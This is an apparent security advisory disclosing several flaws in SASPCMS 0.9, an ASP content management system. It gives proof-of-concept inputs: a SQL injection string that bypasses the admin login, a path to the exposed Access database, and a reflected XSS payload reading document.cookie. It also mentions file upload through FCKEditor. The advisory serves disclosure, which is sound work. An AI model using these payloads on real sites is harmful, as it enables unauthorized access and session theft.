SASPCMS 0.9 XSS / SQL Injection / Disclosure

`##########################www.BugReport.ir########################################  
#  
# AmnPardaz Security Research Team  
#  
# Title: SASPCMS Multiple Vulnerabilities  
# Vendor: http://www.lgasoft.com  
# Vulnerable Version: 0.9 (prior versions also may be affected)  
# Exploitation: Remote with browser  
# Fix: N/A  
###################################################################################  
  
####################  
- Description:  
####################  
  
SASPCMS is an ASP Content Management System . SASPCMS witch uses MSSQL   
& Microsoft Access as backend database.  
  
####################  
- Vulnerability:  
####################  
  
+-->Authentication Bypass  
  
POC: ' or ''='  
http://[URL]/saspcms/admin/default.asp  
  
  
+-->Database Information Disclosure  
  
POC: http://[URL]/saspcms/db/menu.mdb  
  
  
+-->Cross Site Scripting (XSS). Reflected XSS attack in "default.asp"   
in "q" parameter.  
  
POC:   
http://[URL]/saspcms/default.asp?q=<script>alert(document.cookie)</script>  
  
  
  
####################  
- PoC:  
####################  
  
It's possible for remote attackers to upload arbitrary files by using   
FCKEditor after login to admin area.  
  
http://www.bugreport.ir/64/exploit.htm  
  
####################  
- Solution:  
####################  
  
Edit the source code to ensure that inputs are properly sanitized.  
  
  
####################  
- Credit:  
####################  
AmnPardaz Security Research & Penetration Testing Group  
Contact: admin[4t}bugreport{d0t]ir  
www.BugReport.ir  
www.AmnPardaz.com  
`